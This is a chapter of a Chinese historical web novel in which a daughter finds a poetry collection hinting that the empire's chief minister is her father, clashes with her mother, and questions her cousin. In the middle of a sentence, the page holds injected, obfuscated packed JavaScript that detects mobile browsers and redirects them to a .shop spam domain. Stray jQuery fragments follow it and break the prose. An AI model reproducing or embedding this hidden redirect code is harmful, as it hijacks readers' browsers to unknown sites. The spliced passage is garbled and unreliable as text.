苗蓁走进娘亲房间，将那束之高阁的箱子取下来。
历经岁月，铜锁早已泛着暗色，但檀木所制的箱子依旧散发着若有若无的香气。
钥匙就放在娘亲的妆奁上，在她心里，苗蓁已然懂事，文茂又始终是个孩子，她又怎么会料到姐弟俩会先后打开这箱子。
苗蓁的手悬在那箱子前，她深吸一口气，终于掀开了盖子。
箱内出乎意料地十分整洁，不似寻常旧物那般杂乱，上面整齐地叠放着几册蓝布封面的书，边缘已经磨损出毛边。
她小心翼翼地将它们取出，随手翻看：其中大多是一些经典的文集，只是书页上都有着墨色深浅不一的批注。批注的字迹因年代久远略显暗淡，字迹飘逸潦草，倒像是先生形容文茂仿写的那般。
只是可惜，没有一处留下姓名。
苗蓁轻轻抚过那些字迹，心底不禁猜想，这难道是……父亲写的？
她小心地将这些书放在一旁，继续翻向箱底。
箱底只剩下一本册子，这本与前面那些书不同，装帧上明显考究许多：靛青缎面，右上角用银丝绣着云纹，中间三个字——《停云集》
似乎是一本诗集。
她翻开封面，扉页空白，翻过便是正文。
映入眼帘的是工整却带有个人风格的手抄行楷，抄录着一首首诗。
当她翻到最后一页时，看到几行的题记：
此集所录，皆为登科后两三载间随性所作，本不足为外人道。然应希兄屡次索观，盛情难却，遂亲手誊录成册，奉于兄前，聊博一哂，亦为吾二人相交之念。
弟文渊谨呈
永初九年仲秋
而在下面，一方朱红色私印赫然在目：“陆文渊印”。
河间府，陆文渊。
永初九年。
苗蓁脑中顿时一片空白。
河间府陆文渊——当今的内阁首辅，天子倚重的股肱之臣，民间传说中的人物。
这个名字怎么会出现在这儿？
母亲说过这箱子里的东西是父亲的遗物。
难道……当今首辅，竟然是她的父亲？
这个推测的惊世骇俗程度像是茶楼里的话本，让她心中疑问汹涌而至，可是种种线索摆在她的眼前，又让她不能再装聋作哑下去，母亲到底隐瞒了什么秘密？
正她挣扎的瞬间，房门“吱呀”一声被推开。
母亲端着一盏烛火，站在门口，闪烁的火光照在她的脸上，忽明忽暗。
她的目光落在苗蓁身上，她手里拿着着那本靛青色缎面册子以及敞开的旧箱，已然说明了刚刚这里发生过的一切。
“蓁儿……你……”母亲的声音干涩发颤，手中的烛火微微晃动。
空气骤然凝固，苗蓁打破了此刻的平静，只听见她的声音充满了疑虑与好奇，“我记得你说过，箱子里……是爹留下的东西。”
母亲微微侧过头去，心虚忽而转为恼怒，“谁让你翻这个箱子的？！”
她激动地快速走近女儿的身侧，伸手便要夺回那本《停云集》。
苗蓁后退一步，将诗集护在身后，“娘，你从未和我说过爹的事情。这些年，我们一直甚少与亲戚来往，独自在这乡间生活。你到底……有什么事情瞒着我？”
“蓁儿！”娘亲神色激动，“你长大了，不愿听话了，就要把娘亲逼到这个份上吗？”
“我哪里逼你了？……”提到旧事，娘亲总分外激动，说话也不讲理起了，苗蓁无奈万分。
忽然，她脑中一转，索性话锋一转，说道：“可惜了，六六之前说，我可能是个官家小姐，我还不信，可如今看来……”
“你、你在胡说什么？”母亲有些不可置信地看着女儿。
“娘，莫非我们是罪臣之后，你是逃了官家拘捕出来的……我真是好生可怜，当不得富家小姐也罢了，竟还是个戴罪之身……”
“你住口！你爹他一生正直，为官清清白白！”
“为官？”苗蓁目光一凝，瞬间抓住重点。
娘亲自知说漏了嘴，懊恼地转过身去。
苗蓁继续追问，“娘，这箱子里只有一本书里留有署名，写的是陆——”
“闭嘴，我们家同他，没有半点关系！”母亲的声音又尖又急，只一味驳斥。
苗蓁见母亲如此，心中又有了猜想，坦言道：“娘，从小我们就是随母姓，你一直隐瞒着这些事情，对我们从来都是绝口不提，我之前一直不明白，可现在倒是猜出来几分了。”
母亲肩头微微一僵，“你说。”
“若是爹事情早已尘埃落定，那您根本没有必要隐瞒。如此，那便只有一种可能，那就是爹他还活着!只是你碍于一些原因不能透露。”
“你！”母亲气得身形一晃，“跪下。”
苗蓁难以置信地抬头看了一眼，娘亲性格温柔，从未如此严厉。然而在血脉压制下，她还是只能膝下一软，跪了下去。
娘亲的声音从发上方落下，每个字都格外清晰，“从今以后，你不许再动这个箱子。你爹，是病故的，没什么隐情，更与姓陆的没有瓜葛，你也绝不准再去打探这些事情！”
“娘……”
“你若是还认我这个娘，日后就安安稳稳地过日子。否则……你只当没我这个娘罢。”
烛火“噼啪”一声爆了个灯花，光影剧烈一跳。
苗蓁被母亲赶回了房间里，这夜，几乎一夜无眠。
河间府，永初三年的状元……
纵使娘撂了话，她还是心有不甘地想着。
次日一早，苗蓁又来到了桐岭书院。
今日文茂休息，她来这书院，是为了偶遇一个人——向祺。
向祺虽然回家祭祖，但是对于读书向来勤勉，闲来无事的时候多半会来秦先生处请教文章。
若是要问起母亲当年的事情，他在家里或多或少会知道一些。
她正在书院外的白墙徘徊，心中有几分犹豫。
她并不知道向祺对当年的事情知道多少，更不知道直接询问是否妥当，不知如何提起话头才合适。
“蓁妹？”
苗蓁转头，看见一个穿着蓝色直裰，眉眼清朗的年轻男子向她走来。
此人正是向祺。
他手中拿着两卷书，看到她，脸上露出些许惊讶。
“你怎么到书院来了？今日文茂并不上学。”
苗蓁脸上迅速浮起恰当的笑容，将手中的竹篮稍稍举起：
“我……是来谢过秦先生的，他昨日给文茂送了字帖，家里做了些青团，我娘专程让我给先生送来些，表表心意。”
“原来如此。”向祺点了点头，“秦先生对勤勉的后辈向来多有照拂，送字帖也是常有的事。”
他又看了看天色，道：“不过，秦先生此刻正在讲早课，怕是一时不得空，不如……先将篮子放在斋舍。或者我陪你走走，等先生下课？”
“有劳表哥。”苗蓁从善如流，将竹篮递给了向祺。
二人沿着书院外的青石小径缓缓而行，不远处溪水潺潺，春日的阳光透过新绿的竹叶洒下斑驳光影。
“祭祖之事都忙完了？”苗蓁寻了个话头。
“差不多了，前日已经去祖茔拜过。焚化的纸钱烟霭绕着老松
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092352|195485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
盘旋了许久，想必是祖先歆享。再过几日，等族中几位叔公回来，商议完今春宗祠修缮的款项，我便可安心回城备考了。”
苗蓁静静听着，心中却在思忖如何将话题引向自己关心的事情。
她随口问道：“听表哥说起祭祖的郑重，倒让我想起，我似乎从未听娘说过外祖家祭祀的规矩，我又是随母姓，对这些宗族旧事知晓得更少了。”
向祺听她主动提及此事，略感意外。
随即解释道：“蓁妹莫要伤怀。我身为家中小辈，对这些事情也知之甚少。只知道姑父去世得早，姑母要你随苗姓，想必有她的考虑。”
“我并非伤怀，只是我娘从未提起过往，我日渐长大，心中难免疑惑。每当看到别人家祭祖团圆，心里难免会想到这些。我……在京城出生，当年家中遭遇变故，阿娘从京城回来，没有回外祖家，反而世界回到桐川这祖地，这究竟是为何？”
向祺见她神色坦然而非怨怼，心下稍宽，便道：
“原来，你是想多了解一下姑母的旧事，这倒也不算什么隐秘。”
他整理了一下思绪，缓缓道：“我们桐川向氏在此地世代聚居，与你们苗家是姻亲故旧。你的外祖母是我祖父的胞妹，按辈分，我该称一声姑祖母，她当年嫁到了杭州。姑祖父在当地为官清正，颇有声望。”
“原来外祖家在杭州。”苗蓁恍然大悟，“杭州离这里也不算太远，听表哥说来，我外祖家里家境似乎也尚可，那我娘当年从京城回来，为何不肯去杭州？难道是……家中败落了？”
向祺摇摇头，“那倒未曾听说。杭州虽然不远，但是到底隔了府县。自姑祖母，姑祖父相继过世，我们两家寻常年节少有走动，情分自然不比从前。这些事情，我也只是听家中长辈偶尔感慨时候说起。至于其中诸多细节，实在是难以得知了。”
“好吧。”苗蓁轻声应道，目光从向祺脸上移开。
向祺到底只是家中小辈，看来，他对这些久远的事情也只知道这么多了。她心中那点微弱的希望也渐渐熄灭。
一阵短暂的沉默在两人之间弥漫，只有溪水声潺潺不息。
向祺似乎也察觉到了话题的沉重和此刻的尴尬，他轻咳一声，试图将气氛拉回一点。
“说起来……前些日子，姑母来我家中看我我母亲，还问起我备考的情况，叮嘱了许多，姑母她一直，很关心我们这些小辈。”
苗蓁心中微微一动，母亲今年与向家走动确实比早年频繁，尤其是对向祺，时常嘘寒问暖。
她抬起眼，正对上向祺望过来的目光，那目光温和依旧，却带着几分闪烁。
苗蓁瞬间有些尴尬，想必向祺也知道了母亲的心思。
她避开他的目光，侧过身躯，语气如常，带着几分客气与距离：“阿娘时常说起，表哥读书刻苦，为人稳重，将来必定大有作为。她关心你，是应该的。”
向祺眼神中掠过一丝淡淡的失落，但很快便掩饰了过去。
“姑母过誉了，能否中举尚在两说，唯有尽心竭力而已。对了，你也该回去了，免得姑母挂念。”
两人在书院门口作别，不知为何，苗蓁虽然对向祺表哥无意，但是这番“拒绝”，还是让她心头莫名有些愧疚。
然而此刻，她无暇顾及这些，她心中还有一个更大谜团尚未解开。
怀揣着这份日益沉重的心事，苗蓁回到了家里。
院门虚掩着，里面隐约传来谈话的声音，并非母亲平日里独自做活儿时的寂静。
她脚步顿了顿，放轻动靠近堂屋窗外。
忽而，她听到了一些什么，顿时令她心猛地一沉。